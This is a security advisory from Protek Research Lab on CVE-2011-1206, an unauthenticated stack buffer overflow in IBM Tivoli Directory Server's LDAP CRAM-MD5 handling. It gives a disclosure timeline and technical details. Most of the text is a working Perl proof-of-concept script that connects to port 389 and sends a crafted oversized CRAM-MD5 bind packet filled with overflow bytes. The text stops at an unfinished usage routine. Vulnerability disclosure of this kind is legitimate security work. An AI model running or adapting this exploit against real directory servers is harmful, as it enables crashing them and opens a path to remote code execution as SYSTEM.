1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 |
Source: http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=26&Itemid=26 ##################################################################################### Application: IBM Tivoli Directory Server SASL Bind Request Remote Code Execution Vulnerability Platforms: Windows Exploitation: Remote code execution CVE Number: CVE-2011-1206 ZDI number: ZDI-11-136 {PRL}: 2011-06 Author: Francis Provencher (Protek Research Lab's) WebSite: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) POC ##################################################################################### =============== 1) Introduction =============== IBM Tivoli Directory Server (ITDS), formerly known as IBM Directory Server, is an IBM implementation of the Lightweight Directory Access Protocol, and is part of the IBM Tivoli Identity & Access Management portfolio. IBM Tivoli Directory Server is a powerful, security-rich and standards-compliant enterprise directory for corporate intranets and the Internet. Directory Server is built to serve as the identity data foundation for rapid development and deployment of Web applications and security and identity management initiatives by including strong management, replication and security features.Several authentication methods are available with IBM Tivoli Directory Server, beyond basic usernames and passwords. ITDS supports digital certificate-based authentication, the Simple Authentication and Security Layer (SASL), Challenge-Response Authentication Mechanism MD5 (CRAM-MD5), and Kerberos authentication.IBM Tivoli Directory Server is a powerful LDAP infrastructure that provides a foundation for deploying comprehensive identity management applications and advanced software architectures. (http://en.wikipedia.org/wiki/IBM_Tivoli_Directory_Server) ##################################################################################### ============================ 2) Report Timeline ============================ 2011-02-17 - Vulnerability reported to vendor 2011-04-18 - Coordinated public release of advisory ##################################################################################### ==================== 3) Technical details ==================== This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of IBM Tivoli Directory Server. Authentication is not required to exploit this vulnerability. The specific flaw exists in how ibmslapd.exe handles LDAP CRAM-MD5 packets. ibmslapd.exe listens by default on port TCP 389. When the process receives an LDAP CRAM-MD5 packet, it uses libibmldap.dll to handle the allocation of a buffer for the packet data. A specially crafted packet can cause the ber_get_int function to allocate a buffer that is too small to fit the packet data, causing a subsequent stack-based buffer overflow. This can be leveraged by a remote attacker to execute arbitrary code under the context of the SYSTEM user. ##################################################################################### =========== 4) POC =========== #!/usr/bin/perl use strict; use warnings; use Getopt::Std; use IO::Socket::INET; $SIG{INT}= \&abort; my $host= '192.168.100.24'; my $port= 389; my $proto = 'tcp'; my $sockType = SOCK_STREAM; my $timeout = 1; my %opt; my $opt_string = 'hH:P:t:'; getopts( "$opt_string", \%opt ); if (defined $opt{h}) { usage() } $host= $opt{H} ? $opt{H} : $host; $port= $opt{P} ? $opt{P} : $port; $timeout = $opt{t} ? $opt{t} : $timeout; my @commands = ( {Command => 'Send', Data => "\x30\x18\x02\x01\x01\x60\x13\x02\x01\x03\x04\x00\xA3\x0C\x04\x08\x43\x52\x41\x4D\x2D\x4D\x44\x35\x04\x00"}, {Command => 'Receive'}, {Command => 'Send', Data => "\x30\x82\x01\x41\x02\x01\x02\x60\x82\x01\x3A\x02\x01\x03\x04\x00\xA3\x82\x01\x31\x04\x08\x43\x52\x41\x4D\x2D\x4D\x44\x35\x04\x84\xFF\xFF\xFF\xFF\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x20\x36\x61\x37\x61\x31\x31\x34\x39\x36\x30\x33\x61\x64\x37\x64\x30\x33\x34\x39\x35\x66\x39\x65\x37\x31\x34\x66\x34\x30\x66\x31\x63"}, {Command => 'Receive'}, ); my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => $port, Proto => $proto, Type => $sockType, Timeout => $timeout, ) or die "socket error: $!\n\n"; print "connected to: $host:$port\n"; $sock->autoflush(1); binmode $sock; foreach my $command (@commands) { if ($command->{'Command'} eq 'Receive') { my $buf = receive($sock, $timeout); if (length $buf) { print "received: [$buf]\n"; } } elsif ($command->{'Command'} eq 'Send') { print "sending: [".$command->{'Data'}."]\n"; send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n"; } } close ($sock); sub receive { my $sock = shift; my $timeout = shift; my $tmpbuf; my $buf = ""; while(1) { eval { local $SIG{ALRM} = sub { die "timeout\n" }; alarm $timeout; my $ret = read $sock, $tmpbuf, 1; if ( !defined $ret or $ret == 0 ) { die "timeout\n"; } alarm 0; $buf .= $tmpbuf; }; if ($@) { if($@ eq "timeout\n") { last; } else { die "receive aborted\n"; } } } return $buf; } sub abort { print "...\n"; if ($sock) { close $sock; } die "...\n"; } sub usage |